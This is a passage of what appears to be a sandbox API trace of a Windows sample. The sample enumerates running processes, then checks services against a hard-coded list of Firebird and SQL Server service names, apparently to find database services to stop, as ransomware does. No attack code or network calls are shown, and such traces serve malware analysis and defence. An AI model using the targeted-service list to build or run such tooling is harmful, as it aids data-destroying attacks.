cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0133.396] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0133.397] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0133.397] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0133.397] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0133.398] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0133.398] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0133.399] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0133.399] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0133.399] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0133.399] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0133.400] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0133.400] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0133.401] lstrlenW (lpString="concerned venture.exe") returned 21 [0133.401] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0133.404] lstrlenW (lpString="organizingscsi.exe") returned 18 [0133.404] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0133.405] lstrlenW (lpString="airplane placing.exe") returned 20 [0133.405] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0133.406] lstrlenW (lpString="circus.exe") returned 10 [0133.406] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0133.407] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0133.407] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0133.407] lstrlenW (lpString="das.exe") returned 7 [0133.407] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0133.408] lstrlenW (lpString="beam removable.exe") returned 18 [0133.408] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0133.409] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0133.409] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0133.409] lstrlenW (lpString="dome.exe") returned 8 [0133.410] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0133.410] lstrlenW (lpString="wiresjacket.exe") returned 15 [0133.410] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0133.411] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0133.411] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0133.412] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0133.412] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0133.413] lstrlenW (lpString="tested.exe") returned 10 [0133.413] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0133.414] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0133.414] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0133.415] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0133.415] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0133.415] lstrlenW (lpString="level.exe") returned 9 [0133.415] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.416] lstrlenW (lpString="dllhost.exe") returned 11 [0133.416] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.417] lstrlenW (lpString="conhost.exe") returned 11 [0133.417] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.418] lstrlenW (lpString="conhost.exe") returned 11 [0133.418] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.419] lstrlenW (lpString="svchost.exe") returned 11 [0133.419] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0133.427] lstrlenW (lpString="load0.exe") returned 9 [0133.427] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0133.428] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0133.428] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.428] lstrlenW (lpString="conhost.exe") returned 11 [0133.428] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0133.429] lstrlenW (lpString="cmd.exe") returned 7 [0133.429] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.430] lstrlenW (lpString="conhost.exe") returned 11 [0133.430] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.431] lstrlenW (lpString="svchost.exe") returned 11 [0133.431] Process32NextW (in: hSnapshot=0x10b4, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0133.432] CloseHandle (hObject=0x10b4) returned 1 [0133.432] Sleep (dwMilliseconds=0x1f4) [0133.951] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e35f0 [0133.951] EnumServicesStatusExW (in: hSCManager=0x5e35f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0133.952] GetLastError () returned 0xea [0133.952] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0133.952] EnumServicesStatusExW (in: hSCManager=0x5e35f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0133.953] CloseServiceHandle (hSCObject=0x5e35f0) returned 1 [0133.953] lstrlenW (lpString="Appinfo") returned 7 [0133.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0133.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0133.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0133.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0133.954] lstrlenW (lpString="AppXSvc") returned 7 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0133.954] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.954] lstrlenW (lpString="Audiosrv") returned 8 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0133.954] lstrlenW (lpString="BFE") returned 3 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.954] lstrlenW (lpString="BITS") returned 4 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0133.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0133.954] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0133.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0133.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0133.955] lstrlenW (lpString="CDPSvc") returned 6 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0133.955] lstrlenW (lpString="ClickToRunSvc") returned 13 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0133.955] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0133.955] lstrlenW (lpString="CryptSvc") returned 8 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.955] lstrlenW (lpString="DcomLaunch") returned 10 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.955] lstrlenW (lpString="DeviceAssociationService") returned 24 [0133.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0133.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0133.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0133.956] lstrlenW (lpString="Dhcp") returned 4 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.956] lstrlenW (lpString="Dnscache") returned 8 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.956] lstrlenW (lpString="DoSvc") returned 5 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0133.956] lstrlenW (lpString="DPS") returned 3 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.956] lstrlenW (lpString="DusmSvc") returned 7 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0133.956] lstrlenW (lpString="EventLog") returned 8 [0133.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0133.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0133.956] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0133.956] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0133.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0133.956] lstrlenW (lpString="EventSystem") returned 11 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.957] lstrlenW (lpString="FontCache") returned 9 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0133.957] lstrlenW (lpString="gpsvc") returned 5 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.957] lstrlenW (lpString="iphlpsvc") returned 8 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0133.957] lstrlenW (lpString="KeyIso") returned 6 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0133.957] lstrlenW (lpString="LanmanServer") returned 12 [0133.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0133.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0133.957] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0133.957] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0133.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0133.957] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.958] lstrlenW (lpString="lfsvc") returned 5 [0133.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0133.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0133.958] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0133.958] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0133.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0133.958] lstrlenW (lpString="lmhosts") returned 7 [0133.958] 